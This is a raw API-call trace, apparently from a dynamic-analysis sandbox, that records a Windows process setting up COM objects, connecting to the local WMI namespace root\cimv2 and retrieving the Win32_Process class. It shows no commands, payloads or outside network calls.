WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x351140, puCount=0x1b10da18 | out: puCount=0x1b10da18*=0x0) returned 0x0 [0130.280] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352400, puCount=0x1b10d9d8 | out: puCount=0x1b10d9d8*=0x2) returned 0x0 [0130.280] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10d9d0*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d9d0*=0xf, pszText=0x0) returned 0x0 [0130.280] WbemDefPath:IWbemPath:GetText (in: This=0x352400, lFlags=4, puBuffLength=0x1b10d9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.280] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d928 | out: ppv=0x1b10d928*=0x3111d8) returned 0x0 [0130.280] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d918 | out: pAptType=0x1b10d918*=1) returned 0x0 [0130.280] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d920 | out: ppvObject=0x1b10d920*=0x0) returned 0x80004002 [0130.280] IUnknown:Release (This=0x3111d8) returned 0x1 [0130.281] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10cd18 | out: ppv=0x1b10cd18*=0x1b433950) returned 0x0 [0130.281] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433950, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10ce00 | out: ppvObject=0x1b10ce00*=0x0) returned 0x80004002 [0130.281] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433950, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cdd8 | out: ppvObject=0x1b10cdd8*=0x352280) returned 0x0 [0130.282] WbemDefPath:IUnknown:Release (This=0x1b433950) returned 0x0 [0130.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb80 | out: ppvObject=0x1b10cb80*=0x352280) returned 0x0 [0130.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cc10 | out: ppvObject=0x1b10cc10*=0x0) returned 0x80004002 [0130.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c408 | out: ppvObject=0x1b10c408*=0x0) returned 0x80004002 [0130.282] WbemDefPath:IUnknown:AddRef (This=0x352280) returned 0x3 [0130.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c2c8 | out: ppvObject=0x1b10c2c8*=0x0) returned 0x80004002 [0130.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c250 | out: ppvObject=0x1b10c250*=0x0) returned 0x80004002 [0130.282] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c240 | out: ppvObject=0x1b10c240*=0x1b4337b0) returned 0x0 [0130.282] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b4337b0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c268 | out: pCid=0x1b10c268*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.282] WbemDefPath:IUnknown:Release (This=0x1b4337b0) returned 0x3 [0130.282] CoGetContextToken (in: pToken=0x1b10c2f0 | out: pToken=0x1b10c2f0) returned 0x0 [0130.283] CoGetContextToken (in: pToken=0x1b10c770 | out: pToken=0x1b10c770) returned 0x0 [0130.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c830 | out: ppvObject=0x1b10c830*=0x0) returned 0x80004002 [0130.283] WbemDefPath:IUnknown:Release (This=0x352280) returned 0x2 [0130.283] WbemDefPath:IUnknown:Release (This=0x352280) returned 0x1 [0130.283] CoGetContextToken (in: pToken=0x1b10d560 | out: pToken=0x1b10d560) returned 0x0 [0130.283] CoGetContextToken (in: pToken=0x1b10d460 | out: pToken=0x1b10d460) returned 0x0 [0130.283] WbemDefPath:IUnknown:QueryInterface (in: This=0x352280, riid=0x1b10d5c0*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b10d590 | out: ppvObject=0x1b10d590*=0x352280) returned 0x0 [0130.283] WbemDefPath:IUnknown:AddRef (This=0x352280) returned 0x3 [0130.283] WbemDefPath:IUnknown:Release (This=0x352280) returned 0x2 [0130.283] WbemDefPath:IWbemPath:SetText (This=0x352280, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0130.283] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352280, puCount=0x1b10d948 | out: puCount=0x1b10d948*=0x2) returned 0x0 [0130.283] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=4, puBuffLength=0x1b10d940*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d940*=0xf, pszText=0x0) returned 0x0 [0130.283] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=4, puBuffLength=0x1b10d940*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d940*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.283] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d9b8 | out: ppv=0x1b10d9b8*=0x3111d8) returned 0x0 [0130.283] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d9a8 | out: pAptType=0x1b10d9a8*=1) returned 0x0 [0130.283] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d9b0 | out: ppvObject=0x1b10d9b0*=0x0) returned 0x80004002 [0130.284] IUnknown:Release (This=0x3111d8) returned 0x1 [0130.284] CoGetClassObject (in: rclsid=0x1b3c81c8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d078 | out: ppv=0x1b10d078*=0x1b433c70) returned 0x0 [0130.284] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433c70, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10d160 | out: ppvObject=0x1b10d160*=0x0) returned 0x80004002 [0130.284] WbemLocator:IClassFactory:CreateInstance (in: This=0x1b433c70, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d138 | out: ppvObject=0x1b10d138*=0x1b433d30) returned 0x0 [0130.284] WbemLocator:IUnknown:Release (This=0x1b433c70) returned 0x0 [0130.284] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433d30, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cee0 | out: ppvObject=0x1b10cee0*=0x1b433d30) returned 0x0 [0130.285] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433d30, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10cf70 | out: ppvObject=0x1b10cf70*=0x0) returned 0x80004002 [0130.285] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433d30, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c768 | out: ppvObject=0x1b10c768*=0x0) returned 0x80004002 [0130.285] WbemLocator:IUnknown:AddRef (This=0x1b433d30) returned 0x3 [0130.285] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433d30, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c628 | out: ppvObject=0x1b10c628*=0x0) returned 0x80004002 [0130.285] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433d30, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c5b0 | out: ppvObject=0x1b10c5b0*=0x0) returned 0x80004002 [0130.285] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433d30, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c5a0 | out: ppvObject=0x1b10c5a0*=0x0) returned 0x80004002 [0130.285] CoGetContextToken (in: pToken=0x1b10c650 | out: pToken=0x1b10c650) returned 0x0 [0130.285] CoGetContextToken (in: pToken=0x1b10cad0 | out: pToken=0x1b10cad0) returned 0x0 [0130.285] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433d30, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cb90 | out: ppvObject=0x1b10cb90*=0x0) returned 0x80004002 [0130.285] WbemLocator:IUnknown:Release (This=0x1b433d30) returned 0x2 [0130.285] WbemLocator:IUnknown:Release (This=0x1b433d30) returned 0x1 [0130.285] CoGetContextToken (in: pToken=0x1b10d510 | out: pToken=0x1b10d510) returned 0x0 [0130.286] CoGetContextToken (in: pToken=0x1b10d410 | out: pToken=0x1b10d410) returned 0x0 [0130.286] WbemLocator:IUnknown:QueryInterface (in: This=0x1b433d30, riid=0x1b10d570*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b10d540 | out: ppvObject=0x1b10d540*=0x1b433d30) returned 0x0 [0130.286] WbemLocator:IUnknown:AddRef (This=0x1b433d30) returned 0x3 [0130.286] WbemLocator:IUnknown:Release (This=0x1b433d30) returned 0x2 [0130.286] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352280, puCount=0x1b10d948 | out: puCount=0x1b10d948*=0x2) returned 0x0 [0130.286] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=8, puBuffLength=0x1b10d940*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d940*=0xf, pszText=0x0) returned 0x0 [0130.286] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=8, puBuffLength=0x1b10d940*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d940*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.286] CoCreateInstance (in: rclsid=0x7ffb13d166a8*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ffb13d16708*(Data1=0xdc12a687, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppv=0x1b10d690 | out: ppv=0x1b10d690*=0x1b433c70) returned 0x0 [0130.286] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b433c70, strNetworkResource="\\\\.\\root\\cimv2", strUser=0x0, strPassword=0x0, strLocale="", lSecurityFlags=128, strAuthority="", pCtx=0x0, ppNamespace=0x1b10d808 | out: ppNamespace=0x1b10d808*=0x1b4037e0) returned 0x0 [0130.364] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4037e0, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d508 | out: ppvObject=0x1b10d508*=0x349760) returned 0x0 [0130.365] WbemLocator:IClientSecurity:QueryBlanket (in: This=0x349760, pProxy=0x1b4037e0, pAuthnSvc=0x1b10d5d0, pAuthzSvc=0x1b10d550, pServerPrincName=0x1b10d578, pAuthnLevel=0x1b10d554, pImpLevel=0x1b10d560, pAuthInfo=0x1b10d588, pCapabilites=0x1b10d564 | out: pAuthnSvc=0x1b10d5d0*=0xa, pAuthzSvc=0x1b10d550*=0x0, pServerPrincName=0x1b10d578, pAuthnLevel=0x1b10d554*=0x6, pImpLevel=0x1b10d560*=0x2, pAuthInfo=0x1b10d588, pCapabilites=0x1b10d564*=0x1) returned 0x0 [0130.365] WbemLocator:IUnknown:Release (This=0x349760) returned 0x1 [0130.365] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4037e0, riid=0x7ffb13d16518*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d4a0 | out: ppvObject=0x1b10d4a0*=0x3497a8) returned 0x0 [0130.365] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4037e0, riid=0x7ffb13d16528*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d4b0 | out: ppvObject=0x1b10d4b0*=0x349760) returned 0x0 [0130.365] WbemLocator:IClientSecurity:SetBlanket (This=0x349760, pProxy=0x1b4037e0, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0130.365] WbemLocator:IUnknown:Release (This=0x349760) returned 0x2 [0130.365] WbemLocator:IUnknown:Release (This=0x3497a8) returned 0x1 [0130.365] CoTaskMemFree (pv=0x1b421820) [0130.366] WbemLocator:IUnknown:Release (This=0x1b433c70) returned 0x0 [0130.366] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4037e0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cfa0 | out: ppvObject=0x1b10cfa0*=0x3497a8) returned 0x0 [0130.366] WbemLocator:IUnknown:QueryInterface (in: This=0x3497a8, riid=0x7ffb0293bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b10d030 | out: ppvObject=0x1b10d030*=0x0) returned 0x80004002 [0130.369] WbemLocator:IUnknown:QueryInterface (in: This=0x3497a8, riid=0x7ffb0293bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x0) returned 0x80004002 [0130.371] WbemLocator:IUnknown:QueryInterface (in: This=0x1b4037e0, riid=0x7ffb0293bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b10c828 | out: ppvObject=0x1b10c828*=0x0) returned 0x80004002 [0130.372] WbemLocator:IUnknown:AddRef (This=0x3497a8) returned 0x3 [0130.372] WbemLocator:IUnknown:QueryInterface (in: This=0x3497a8, riid=0x7ffb0293bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b10c6e8 | out: ppvObject=0x1b10c6e8*=0x0) returned 0x80004002 [0130.372] WbemLocator:IUnknown:QueryInterface (in: This=0x3497a8, riid=0x7ffb0293bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b10c670 | out: ppvObject=0x1b10c670*=0x0) returned 0x80004002 [0130.372] WbemLocator:IUnknown:QueryInterface (in: This=0x3497a8, riid=0x7ffb029349a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10c660 | out: ppvObject=0x1b10c660*=0x349688) returned 0x0 [0130.373] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x349688, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b10c688 | out: pCid=0x1b10c688*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0130.373] WbemLocator:IUnknown:Release (This=0x349688) returned 0x3 [0130.373] CoGetContextToken (in: pToken=0x1b10c710 | out: pToken=0x1b10c710) returned 0x0 [0130.373] CoGetContextToken (in: pToken=0x1b10cb90 | out: pToken=0x1b10cb90) returned 0x0 [0130.373] WbemLocator:IUnknown:QueryInterface (in: This=0x3497a8, riid=0x7ffb0293bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cc50 | out: ppvObject=0x1b10cc50*=0x349770) returned 0x0 [0130.373] WbemLocator:IRpcOptions:Query (in: This=0x349770, pPrx=0x3497a8, dwProperty=2, pdwValue=0x1b10cc40 | out: pdwValue=0x1b10cc40) returned 0x80004002 [0130.373] WbemLocator:IUnknown:Release (This=0x349770) returned 0x3 [0130.373] WbemLocator:IUnknown:Release (This=0x3497a8) returned 0x2 [0130.373] CoGetContextToken (in: pToken=0x1b10d250 | out: pToken=0x1b10d250) returned 0x0 [0130.373] CoGetContextToken (in: pToken=0x1b10d150 | out: pToken=0x1b10d150) returned 0x0 [0130.373] WbemLocator:IUnknown:QueryInterface (in: This=0x3497a8, riid=0x1b10d2b0*(Data1=0x9556dc99, Data2=0x828c, Data3=0x11cf, Data4=([0]=0xa3, [1]=0x7e, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x32, [6]=0x40, [7]=0xc7)), ppvObject=0x1b10d280 | out: ppvObject=0x1b10d280*=0x1b4037e0) returned 0x0 [0130.373] WbemLocator:IUnknown:AddRef (This=0x1b4037e0) returned 0x4 [0130.373] WbemLocator:IUnknown:Release (This=0x1b4037e0) returned 0x3 [0130.373] WbemLocator:IUnknown:Release (This=0x1b4037e0) returned 0x2 [0130.373] SysStringLen (param_1=0x0) returned 0x0 [0130.373] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x352280, puCount=0x1b10d988 | out: puCount=0x1b10d988*=0x2) returned 0x0 [0130.373] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=4, puBuffLength=0x1b10d980*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d980*=0xf, pszText=0x0) returned 0x0 [0130.374] WbemDefPath:IWbemPath:GetText (in: This=0x352280, lFlags=4, puBuffLength=0x1b10d980*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b10d980*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0130.374] CoGetContextToken (in: pToken=0x1b10d290 | out: pToken=0x1b10d290) returned 0x0 [0130.374] WbemLocator:IUnknown:AddRef (This=0x3497a8) returned 0x3 [0130.374] WbemLocator:IUnknown:QueryInterface (in: This=0x3497a8, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10d290 | out: ppvObject=0x1b10d290*=0x3497a8) returned 0x0 [0130.374] WbemLocator:IUnknown:Release (This=0x3497a8) returned 0x3 [0130.374] WbemLocator:IUnknown:Release (This=0x3497a8) returned 0x2 [0130.374] WbemDefPath:IWbemPath:GetText (in: This=0x351140, lFlags=2, puBuffLength=0x1b10d990*=0x0, pszText=0x0 | out: puBuffLength=0x1b10d990*=0xe, pszText=0x0) returned 0x0 [0130.374] WbemDefPath:IWbemPath:GetText (in: This=0x351140, lFlags=2, puBuffLength=0x1b10d990*=0xe, pszText="0000000000000" | out: puBuffLength=0x1b10d990*=0xe, pszText="Win32_Process") returned 0x0 [0130.374] IWbemServices:GetObject (in: This=0x1b4037e0, strObjectPath="Win32_Process", lFlags=0, pCtx=0x0, ppObject=0x1b10d910*=0x0, ppCallResult=0x0 | out: ppObject=0x1b10d910*=0x1b431e30, ppCallResult=0x0) returned 0x0 [0130.581] IWbemClassObject:Get (in: This=0x1b431e30, wszName="__PATH", lFlags=0, pVal=0x1b10d8c0*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b10da08*=0, plFlavor=0x1b10da00*=0 | out: pVal=0x1b10d8c0*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process", varVal2=0x0), pType=0x1b10da08*=8, plFlavor=0x1b10da00*=64) returned 0x0 [0130.581] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0130.581] SysStringByteLen (bstr="\\\\XC64ZB\\ROOT\\CIMV2:Win32_Process") returned 0x42 [0130.581] CoGetObjectContext (in: riid=0x2846078*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10d8d8 | out: ppv=0x1b10d8d8*=0x3111d8) returned 0x0 [0130.582] IComThreadingInfo:GetCurrentApartmentType (in: This=0x3111d8, pAptType=0x1b10d8c8 | out: pAptType=0x1b10d8c8*=1) returned 0x0 [0130.582] IUnknown:QueryInterface (in: This=0x3111d8, riid=0x2846058*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b10d8d0 | out: ppvObject=0x1b10d8d0*=0x0) returned 0x80004002 [0130.582] IUnknown:Release (This=0x3111d8) returned 0x1 [0130.582] CoGetClassObject (in: rclsid=0x1b3c7c88*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffb02962d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b10ccc8 | out: ppv=0x1b10ccc8*=0x1b433a50) returned 0x0 [0130.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b433a50, riid=0x7ffb029856a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b10cdb0 | out: ppvObject=0x1b10cdb0*=0x0) returned 0x80004002 [0130.583] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b433a50, pUnkOuter=0x0, riid=0x7ffb029303f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b10cd88 | out: ppvObject=0x1b10cd88*=0x351680) returned 0x0 